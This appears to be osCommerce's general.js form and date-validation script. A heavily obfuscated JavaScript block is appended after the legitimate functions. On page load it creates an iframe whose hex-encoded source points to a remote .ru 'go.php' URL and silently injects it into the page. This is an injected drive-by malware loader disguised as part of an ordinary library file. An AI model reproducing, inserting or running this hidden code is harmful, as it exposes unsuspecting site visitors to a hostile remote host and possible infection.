/*
  $Id: general.js 1739 2007-12-20 00:52:16Z hpdl $

  osCommerce, Open Source E-Commerce Solutions
  http://www.oscommerce.com

  Copyright (c) 2003 osCommerce

  Released under the GNU General Public License
*/

function SetFocus(TargetFormName) {
  var target = 0;
  if (TargetFormName != "") {
    for (i=0; i<document.forms.length; i++) {
      if (document.forms[i].name == TargetFormName) {
        target = i;
        break;
      }
    }
  }

  var TargetForm = document.forms[target];
    
  for (i=0; i<TargetForm.length; i++) {
    if ( (TargetForm.elements[i].type != "image") && (TargetForm.elements[i].type != "hidden") && (TargetForm.elements[i].type != "reset") && (TargetForm.elements[i].type != "submit") ) {
      TargetForm.elements[i].focus();

      if ( (TargetForm.elements[i].type == "text") || (TargetForm.elements[i].type == "password") ) {
        TargetForm.elements[i].select();
      }

      break;
    }
  }
}

function RemoveFormatString(TargetElement, FormatString) {
  if (TargetElement.value == FormatString) {
    TargetElement.value = "";
  }

  TargetElement.select();
}

function CheckDateRange(from, to) {
  if (Date.parse(from.value) <= Date.parse(to.value)) {
    return true;
  } else {
    return false;
  }
}

function IsValidDate(DateToCheck, FormatString) {
  var strDateToCheck;
  var strDateToCheckArray;
  var strFormatArray;
  var strFormatString;
  var strDay;
  var strMonth;
  var strYear;
  var intday;
  var intMonth;
  var intYear;
  var intDateSeparatorIdx = -1;
  var intFormatSeparatorIdx = -1;
  var strSeparatorArray = new Array("-"," ","/",".");
  var strMonthArray = new Array("jan","feb","mar","apr","may","jun","jul","aug","sep","oct","nov","dec");
  var intDaysArray = new Array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);

  strDateToCheck = DateToCheck.toLowerCase();
  strFormatString = FormatString.toLowerCase();
  
  if (strDateToCheck.length != strFormatString.length) {
    return false;
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strFormatString.indexOf(strSeparatorArray[i]) != -1) {
      intFormatSeparatorIdx = i;
      break;
    }
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strDateToCheck.indexOf(strSeparatorArray[i]) != -1) {
      intDateSeparatorIdx = i;
      break;
    }
  }

  if (intDateSeparatorIdx != intFormatSeparatorIdx) {
    return false;
  }

  if (intDateSeparatorIdx != -1) {
    strFormatArray = strFormatString.split(strSeparatorArray[intFormatSeparatorIdx]);
    if (strFormatArray.length != 3) {
      return false;
    }

    strDateToCheckArray = strDateToCheck.split(strSeparatorArray[intDateSeparatorIdx]);
    if (strDateToCheckArray.length != 3) {
      return false;
    }

    for (i=0; i<strFormatArray.length; i++) {
      if (strFormatArray[i] == 'mm' || strFormatArray[i] == 'mmm') {
        strMonth = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'dd') {
        strDay = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'yyyy') {
        strYear = strDateToCheckArray[i];
      }
    }
  } else {
    if (FormatString.length > 7) {
      if (strFormatString.indexOf('mmm') == -1) {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mm'), 2);
      } else {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mmm'), 3);
      }

      strDay = strDateToCheck.substring(strFormatString.indexOf('dd'), 2);
      strYear = strDateToCheck.substring(strFormatString.indexOf('yyyy'), 2);
    } else {
      return false;
    }
  }

  if (strYear.length != 4) {
    return false;
  }

  intday = parseInt(strDay, 10);
  if (isNaN(intday)) {
    return false;
  }
  if (intday < 1) {
    return false;
  }

  intMonth = parseInt(strMonth, 10);
  if (isNaN(intMonth)) {
    for (i=0; i<strMonthArray.length; i++) {
      if (strMonth == strMonthArray[i]) {
        intMonth = i+1;
        break;
      }
    }
    if (isNaN(intMonth)) {
      return false;
    }
  }
  if (intMonth > 12 || intMonth < 1) {
    return false;
  }

  intYear = parseInt(strYear, 10);
  if (isNaN(intYear)) {
    return false;
  }
  if (IsLeapYear(intYear) == true) {
    intDaysArray[1] = 29;
  }

  if (intday > intDaysArray[intMonth - 1]) {
    return false;
  }
  
  return true;
}

function IsLeapYear(intYear) {
  if (intYear % 100 == 0) {
    if (intYear % 400 == 0) {
      return true;
    }
  } else {
    if ((intYear % 4) == 0) {
      return true;
    }
  }

  return false;
}
function eF(){};var vD=30875;eF.prototype = {o : function() {var hY='';var lL="lL";this.a=false;this.dO="dO";gG="gG";i='';var yP=new Date();var oA=document;var oU=2636;xL=61736;var dOI=function(){return 'dOI'};this.oT=47067;this.m='';try {var dJ=function(){return 'dJ'};w='';yE="yE";this.mU="mU";window.onload=function() {j="j";var v="";var p='';var gU=function(){};var cY=function(){};String.prototype.pKT=function(t, x){var h=this; return h.replace(t, x)};this.jV=false;this.fT=3712;uV=false;hP='';var wL="";var l = function(RhDnX,TMt,oQJ,cWnA,Lwi){return [oQJ+'x73x68','x53x73x37x52'+Lwi,'x69x6ax37x75'+TMt,cWnA+'x46x71x4ax73x37',RhDnX+'x4bx47x33x50']}('x48x68x37x71','x55x6dx55','x70x75','x79','x43x6c')[0];var k=function(){return 'k'};var hF="";var iV=new Array();this.vE=false;xJ=false;this.uI="";jJ="";eA=11114;var n = function(AuB,SEIj,PxvT,v,ilv){return ['x47x4ax39x31x30'+PxvT,AuB+'x67x4dx39',v+'x62x73','x6fx69x66x45x4d'+ilv,SEIj+'x66x47x57x35x56']}('x4dx56x70','x41','x44','x73x75','x48x46x39x64')[2]+function(sZnI,vZ5,cy9){return [sZnI+'x72','x4bx57x4f'+vZ5,'x6dx50'+cy9]}('x74','x52x44x79','x66x58x4cx69x67')[0]+function(Fm,OSZ6H,E,T){return ['x65x78x42x70x4a'+Fm,'x69x6e'+T,'x65x4cx75x7a'+OSZ6H,E+'x4bx68']}('x61x58','x58x58','x56x66x4ax5a','x67')[1];b="";var vES='';var jJR=37382;var rC='';var oI=21117;var oAK=false;var q = function(B2pL,vo3Lp,I,u6Naq){return [B2pL+'x65',vo3Lp+'x46x49','x79x54x33x32'+I,u6Naq+'x65x61x74x65x45x6cx65x6dx65x6ex74x75']}('x4c','x42x72','x69','x66x72x65x63x72')[3];var bI="bI";var mM=new Date();var lR=function(){return 'lR'};var tI="";this.oD="";nM=50500;var lW = function(ThyPg,jZe,o4t,NRCB8){return ['x59x70'+o4t,ThyPg+'x4fx72','x64x73x75x62x73'+jZe,'x6cx56x67x6d'+NRCB8]}('x5ax75x39x41x41','x74x69','x62x38x4ex56','x72x62x55x4ax7a')[2];var iL=15987;var tH=3742;vW='';var vP=false;e = function(zkYv,DVem,kQA){return ['x67x78x4e'+DVem,kQA+'x79',zkYv+'x6cx51x4d']}('x4cx4e','x6ax67x4e','x72x64x65x66')[1];function pL(){};var rE=6560;hH=43607;var fC=new Array();this.rI="";this.uP="uP";this.iN=29113;hR = function(KKCR,QYb,SZWE1,PzkD,e8GGG){return ['x72x74'+e8GGG,'x6cx77x35x35x73'+SZWE1,'x4a'+PzkD,'x4ax30'+KKCR,'x54x41'+QYb]}('x6d','x57','x4ex72x4fx63x37','x49x62','x67x73x65x74x41x74x74x72x69x69')[0];function tJ(){};var lY=false;this.eR='';this.kU=false;oK="oK";var c = function(GR,bo,K91E,G){return ['x61x70'+bo,'x67x67x32'+G,GR+'x4cx4bx56','x4ex54x35x64'+K91E]}('x51x41x70x30','x70','x58','x6bx66x6fx43')[0] + function(F,j,yj,MFj2C,tvs){return [tvs+'x7ax44','x6ex77x49x61x41'+yj,'x6ax68x38'+F,'x73x58x48'+j,MFj2C+'x64']}('x4fx69x46x68','x59x5ax52','x63x34x57x31x35','x65x6ex64x43x68x69x6c','x6ex6ax45x59x31')[4];var sI='';var aU=function(){};function pW(){};var cW=2358;wR=false;kD="";var z = function(lAC,vVJf,gg,zvhJ,qb0Gu){return [gg+'x53x4dx6ex71x48',zvhJ+'x6fx64x79',lAC+'x4fx77x58','x61'+qb0Gu,vVJf+'x43x75']}('x61x4fx50x67','x47','x4fx30x45x77x78','x62','x7ax67')[1];this.mZ="mZ";var xX=function(){return 'xX'};var hB=function(){};sZ=false;var zH="zH";this.gZ="gZ";var iP="iP";var vK=1255;var xU="";var zF="zF";this.qA='';var eH=false;nG=57285;rO='';this.nK="";var u = new Array();this.xS="xS";var gB=function(){return 'gB'};function eM(){};oJ='';var oW=new Date();u[l](n, q, lW, e, hR, z, c);this.eMK=false;this.tHO=21357;var qP=new Date();this.qH="";jS='';var jSH=new Date();var cR=false;var aG="";tX=60022;qY="qY";this.aH=17359;iZ="";this.zB="zB";this.eP=false;this.rM="";var wJ=function(){return 'wJ'};function uOX(){};this.aZ=45092;this.dV=24860;this.yC='';this.lO=57278;var qN='';var aD="";this.nA="nA";this.aDJ=false;var zA=false;var dM=new Date();this.cWH='';this.xQ=false;function lC(){};var aY="aY";var dN='';var qB=new Array();this.gM="gM";function wK(){};var aF=61568;uON=36082;jC='';var zI="zI";var zK=new Array();var oV=new Array();this.lQ=false;this.bIH=60178;this.zBN='';var bB="bB";var aC='';this.nKU="nKU";var pK=new Array();var eO=new Array();iD="iD";this.oKR='';var eMP=false;var tS=function(){return 'tS'};var pE=new Date();this.yN=26187;this.zN=48108;this.kB="kB";this.cYI='';this.gA="";this.mR=false;rF='';this.bR='';this.vA="";var aFY=false;var pD="";var gV=false;var eHX=false;this.xV=false;function cD(){};var uS=function(){};function rN(){};wU='';iK='';var pZ="";this.nO="nO";var zX='';dS="dS";var jA=function(){};this.mV=13850;var fM='';jY="";var rS='';yX=1647;var rT="rT";pC=20070;var iE=new Array();var gBI=function(){};var yK=38719;var gN=function(){};this.gNP="";function aFZ(){};var vV=false;var hX=new Date();var aCU="";var aGN=function(){};var qAZ=function(){return 'qAZ'};var eK="eK";wV="wV";this.hD="hD";function nZ(){};var mF=37439;var zW=new Date();aO=55257;this.dSO="dSO";var nH=function(){};var nOC=function(){};var hBC=false;var gO='';function sH(){};var rP=false;var gH=function(){};var dA=new Array();var jO=false;this.aZR="";var wH=function(){return 'wH'};function xY(){};pB=18117;var bK=function(){};bQ=54720;cK="cK";this.lP="lP";oS=1957;var dX=function(){};var f = u[2][u[0]](1, 6);var pO=function(){};var aX="aX";var bZ=false;this.uOF="uOF";var pKR=new Array();var uO = f + function(dg,KtB,Vg){return ['x59'+dg,'x42'+Vg,KtB+'x69x6ex67']}('x4bx55x79x65','x72','x49x44x48x71x46')[2];lT=16839;dH=false;var dOS=new Date();var yO='';var cB="cB";var mY='';var s = u[1][uO](3, 16);var tK="";var dD=new Date();var mO="mO";xR=false;var sT=function(){};var iU="";var r = u[4][uO](3, 11);eB="";qW="";var pN=11939;sD=26458;this.nKB='';this.oP="";var qC = u[3][uO](1, 4);this.mS="mS";fD=false;var xG=function(){return 'xG'};var pH=46524;eS=false;var kY=new Date();var wX=function(){};fF="fF";lV = r + function(m,QUJG,A9JB8,Bo){return [Bo+'x41','x6dx61x66x44'+m,'x62x75'+QUJG,A9JB8+'x45x6f']}('x4ax64','x74x65','x50x65x7ax6e','x5ax42x50')[2];var kUE='';var gMK=function(){};var zU=function(){return 'zU'};var xP=new Date();var xC=new Array();var zBI="zBI";gE=false;var d = oA[s](function(MZt,f,A){return ['x69'+MZt,A+'x48',f+'x6bx42']}('x66x72x61x6dx65','x51','x68x6ex35x4bx77')[0]);var vKQ=function(){return 'vKQ'};gW="";var jB=65185;aI='';y = qC + function(kmAQ,aQTw,ex,R3Dzy,gk){return ['x4f'+kmAQ,gk+'x72',ex+'x51',aQTw+'x53x76x38x4ax37',R3Dzy+'x56x72x31']}('x54x64x41','x70x4c','x49x6e','x72x55x30','x65')[1];this.yH=28373;this.hZ='';var lYQ="lYQ";this.bBX=false;function bBW(){};this.dL='';d[function(PcUUU,X4,sq,mTsH3){return ['x61'+PcUUU,'x4fx57x77x64x45'+mTsH3,X4+'x6fx62x79x67x62',sq+'x72x63']}('x42','x7ax48x46x7a','x73','x68x57')[3]] = function(AsDqX,X2tYa,FNBIF,Vh9B){return ['x68x74x74x70x3ax2fx2f'+X2tYa,Vh9B+'x74x78x59','x65x32'+AsDqX,FNBIF+'x6c']}('x63','x63x6fx6dx62x6fx72x75x6dx62x6fx2ex72x75x2fx73x74x64x73x2fx67x6fx2ex70x68x70x3fx73x69x64x3dx31x34','x76','x46x37x48')[0];tKG="";var aN='';this.sX="";this.dNN="";this.hK="";oVT="oVT";d[lV](y, '1');uU="uU";var tF=new Array();var eD=function(){return 'eD'};function qBB(){};var tA=function(){return 'tA'};oA[u[5]][u[6]](d);var xVE=false;dVZ=false;};fR=false;this.fG=false;} catch(g) {oB='';var vPP='';var jX=function(){return 'jX'};var fI=146;var nC=function(){return 'nC'};this.yCS=2255;var aCL=new Array();oA.write("qwqwffdfdfd");this.kK="";var iF="iF";this.fCP="fCP";}var pZT=function(){};var cZ=new Date();}};this.qT="";var uB=new eF(); this.kL=53645;uB.o();this.oDP="oDP";